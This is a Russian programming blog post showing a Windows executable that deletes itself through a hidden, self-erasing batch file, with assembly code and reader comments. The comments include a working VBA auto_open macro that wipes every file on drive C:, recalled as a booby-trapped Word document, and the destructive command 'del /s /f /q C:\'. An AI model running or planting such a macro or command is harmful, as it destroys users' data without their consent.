Самоудаляющийся файл
Самоудаляющийся файл
Небольшая, но в то же время полезная развлекуха - самоудаляющийся исполняемый файл. Во времена MS-DOS подобным фокусом никого было не удивить, там операционная система позволяла писать что угодно куда угодно, и даже удалять исполняемый файл во время его выполнения (хе-хе...). С появлением Windows вольница закончилась. Если файл запущен, то до того, как он завершит работу, ничего с ним сделать не получится. Но из этого правила есть одно исключение - так называемые пакетные или bat-файлы. Они выполняются не как самостоятельное приложение, а как набор инструкций для командного процессора, поэтому запросто могут удалять сами себя. Этим мы и воспользуемся для решения нашей задачи. Вот пример пакетного файла, который сперва пытается удалить файл по заданному пути, а затем самоуничтожается.
:loc
del "D:\Path\file.exe"
if exist "D:\Path\file.exe" goto loc
del %0
Проверка и цикл нужны для того, чтобы дождаться момента, когда файл освободится и станет доступным для ликвидации. Команда "del %0" удаляет bat-файл, в котором она выполняется, без привязки к его имени. Теперь, чтобы наш исполняемый файл самоудалялся, он должен выполнить следующие действия: получить имя и путь выполняемого файла, сформировать bat-файл, запустить его и завершить работу. bat-файл дождется окончания работы исполняемого файла, удалит его, затем удалит сам себя.
Осталось перевести человеческие слова на язык Ассемблера. Код получается достаточно простой, дополнительно комментировать его я не буду.
Code (Assembler) : Убрать нумерацию
- ; сегмент данных
- ...
- mask db ':loc',13,10
- db 'del "%s"',13,10
- db 'if exist "%s" goto loc',13,10
- db 'del %%0',0
- batext db '.bat',0
- fname rb MAX_PATH
- buff rb MAX_PATH*3
Code (Assembler) : Убрать нумерацию
- ; сегмент кода
- ...
- ; Получить имя файла
- invoke GetModuleFileName,0,buff,MAX_PATH
- ; Получить DOS'овское имя файла
- invoke GetShortPathName,buff,fname,MAX_PATH
- ; Сформировать bat-файл
- invoke wsprintf,buff,mask,fname,fname
- add esp,16
- ; Размер полученного bat-файла
- mov esi,eax
- ; Добавить расширение .bat
- invoke lstrcat,fname,batext
- ; Записать bat-файл
- invoke _lcreat,fname,0
- cmp eax,-1
- je @f
- mov ebx,eax
- invoke _lwrite,ebx,buff,esi
- invoke _lclose,ebx
- ; Запустить файл на выполнение в скрытом режиме
- invoke WinExec,fname,SW_HIDE
- @@:
- invoke ExitProcess,0
В приложении пример такого самоудаляющегося файла с исходным текстом. После запуска он сразу исчезает, не выдавая никаких сообщений и не открывая никаких окон.
Просмотров: 7043 | Комментариев: 14
Внимание! Статья опубликована больше года назад, информация могла устареть!
Комментарии
Отзывы посетителей сайта о статье
Stan
(18.11.2016 в 15:29):
Как то делал троянчик давние времена назад.Вообщем вызывал из программы vbs скрипт как только всё соберёт что надо.Всё просто .Скучно стало ,чую надо тряхнуть стариной.)
Сергей Юрьевич
(14.08.2016 в 11:53):
X лет назад я наваял на коленке проект в Делфи7, откомпилил, запустил. Потом открыл проводник и удалил этот exe (не помню зачем понадобилось) не закрывая программу.
Удалялся спокойно. А через пару лет после этого на другой Винде также захотел удалить, но не давало. Так что это ещё может как-то зависеть от версии ОС.
Удалялся спокойно. А через пару лет после этого на другой Винде также захотел удалить, но не давало. Так что это ещё может как-то зависеть от версии ОС.
ManHunter
(20.06.2016 в 15:51):
Privaloff, а какая разница? Ну будет вызван WinAPI DeleteFile через прослойку VB, все равно система не позволит удалить открытый или работающий файл. Конечно, если удалить все _доступные_ файлы с диска, то система после такого издевательства не загрузится.
Описание Kill в MSDN: https://msdn.microsoft.com/en-...=vs.90).aspx
Тот же эффект будет от del /s /f /q C:\
Описание Kill в MSDN: https://msdn.microsoft.com/en-...=vs.90).aspx
Тот же эффект будет от del /s /f /q C:\
Privaloff
(20.06.2016 в 13:05):
"Если файл запущен, то до того, как он завершит работу, ничего с ним сделать не получится." ©
Это как сказать. Смотря какой метод удаления выбран.
Пример VBA:
Sub auto_open()
Set fs = Application.FileSearch
With fs
.LookIn = "C:\"
.SearchSubFolders = True
.Filename = "*.*"
.FileType = msoFileTypeAllFiles
If .Execute() > 0 Then
For i = 1 To .FoundFiles.Count
Kill .FoundFiles(i)
Next i
Else
End If
End With
End Sub
Этот коротенький макрос оставлял на диске только пустые каталоги, вынося из них бесследно всё содержимое. Впервые данный метод был встречен мною в одном вордовском файлике в незапамятные времена, к сожалению после открытия оного файлика. Задумывался автором как метод накласть в тапки любителям читать всякую херню в формате *.doc (Набоков, Коэльо, и прочее)
Думаю, что в Win'7-10 этот фокус не прокатит, если система и права пользователей не искурочены, а на 98-Winnt4 и XP проходило "на ура". Даже если что-то и оставалось, загрузка системы была уже невозможна.
Это как сказать. Смотря какой метод удаления выбран.
Пример VBA:
Sub auto_open()
Set fs = Application.FileSearch
With fs
.LookIn = "C:\"
.SearchSubFolders = True
.Filename = "*.*"
.FileType = msoFileTypeAllFiles
If .Execute() > 0 Then
For i = 1 To .FoundFiles.Count
Kill .FoundFiles(i)
Next i
Else
End If
End With
End Sub
Этот коротенький макрос оставлял на диске только пустые каталоги, вынося из них бесследно всё содержимое. Впервые данный метод был встречен мною в одном вордовском файлике в незапамятные времена, к сожалению после открытия оного файлика. Задумывался автором как метод накласть в тапки любителям читать всякую херню в формате *.doc (Набоков, Коэльо, и прочее)
Думаю, что в Win'7-10 этот фокус не прокатит, если система и права пользователей не искурочены, а на 98-Winnt4 и XP проходило "на ура". Даже если что-то и оставалось, загрузка системы была уже невозможна.
X-Wing Top Ace
(27.05.2016 в 14:29):
В свое время столкнулся с досным HLLP-вирусом, запускавшим прогу-жертву через похожий самоудаляющийся батник.
Правда, тот батник и его генерацию писал полный ламер (а кто еще пишет HLLP вирусы?), и сделано все было косоруко до неявной деструктивной функции. Имя файла, в котором восстанавливался экзюк жертвы в незараженном виде, было фиксированно задано в этом батнике как 'new_lib.exe', а сам батник генерился под именем "1.bat".
Ну и проверки в цикле, понятно, не было - DOS однозадачна.
Правда, тот батник и его генерацию писал полный ламер (а кто еще пишет HLLP вирусы?), и сделано все было косоруко до неявной деструктивной функции. Имя файла, в котором восстанавливался экзюк жертвы в незараженном виде, было фиксированно задано в этом батнике как 'new_lib.exe', а сам батник генерился под именем "1.bat".
Ну и проверки в цикле, понятно, не было - DOS однозадачна.
ЖК
(25.05.2016 в 19:04):
C удовольствием вспоминаю "те" времена, когда можно было задать несложную задачку и для победы реализовать её в минимально возможном размере кода. Как тут: "Самоудаляющаяся программа. 14 байт. Кто меньше ?"
Это теперь дистрибутивы какого-нть винзипа по 75 мегов занимают...
Это теперь дистрибутивы какого-нть винзипа по 75 мегов занимают...
ManHunter
(24.05.2016 в 07:32):
А я любил всякие настройки внутри самого файла держать :)
ЖК
(23.05.2016 в 11:58):
Эхх, как же легко это делалось во времена DOS...
org 0x100
use16
mov ax, 0x1203
int 0x2F
lds dx, [ds:bp-0x1A]
mov ah, 0x41
int 0x21
ret
org 0x100
use16
mov ax, 0x1203
int 0x2F
lds dx, [ds:bp-0x1A]
mov ah, 0x41
int 0x21
ret
ManHunter
(20.05.2016 в 22:12):
tb, ты его час дрочить что ли хочешь? Доли секунды процессор потерпит, ничо с ним не случится.
tb
(20.05.2016 в 15:20):
ты бля знаешь какая нагрузка на процессор при такой циклической проверке без паузы?
wetal
(17.05.2016 в 13:39):
Я и не говорю, что батник из примера. Я сам на FASM не пишу, но понравившееся примеры переписываю на более мне удобный язык. Так вот, переписал, но допустил ошибку-вместо полного короткого имени файла вставил в батник только путь до него ( его папку ). Открыл получившийся bat файл в блокноте, посмотрел - вроде всё в порядке на первый взгляд ( было бы имя полное, сразу бы бросилось в глаза, что не то, а так как то пропустил)ну и запустил батник на исполнение, он честно отработал :)
Потому и пишу, что BAT-ник с коротким именем 8.3, страшное дело - для человека привыкшего к полным наименованиям есть возможность допустить ошибку.
Потому и пишу, что BAT-ник с коротким именем 8.3, страшное дело - для человека привыкшего к полным наименованиям есть возможность допустить ошибку.
ManHunter
(17.05.2016 в 09:33):
Это какая-то другая программа. Батник из примера ничего кроме себя и одного исполняемого файла не удаляет.
wetal
(17.05.2016 в 09:23):
BAT-ник с коротким именем 8.3, как оказалось, страшное дело! С дуру запустил тестовую программу, которую сохранил в папке, где было более 600 файлов исходников, ресурсов, различных тестовых ехешников ( написал-натаскал за несколько месяцев). Удалилось всё, что было в этой папке, кроме тех файлов, что были во вложенных папках. Причем очень быстро и отнюдь не к корзину :)
Слава PC Inspector File Recovery, восстановил быстренько всё на место, а то я уже было хотел впасть в отчаянье.
Слава PC Inspector File Recovery, восстановил быстренько всё на место, а то я уже было хотел впасть в отчаянье.
Добавить комментарий
Заполните форму для добавления комментария
http://www.ezds.com/html/sde.html
На современных системах не работает.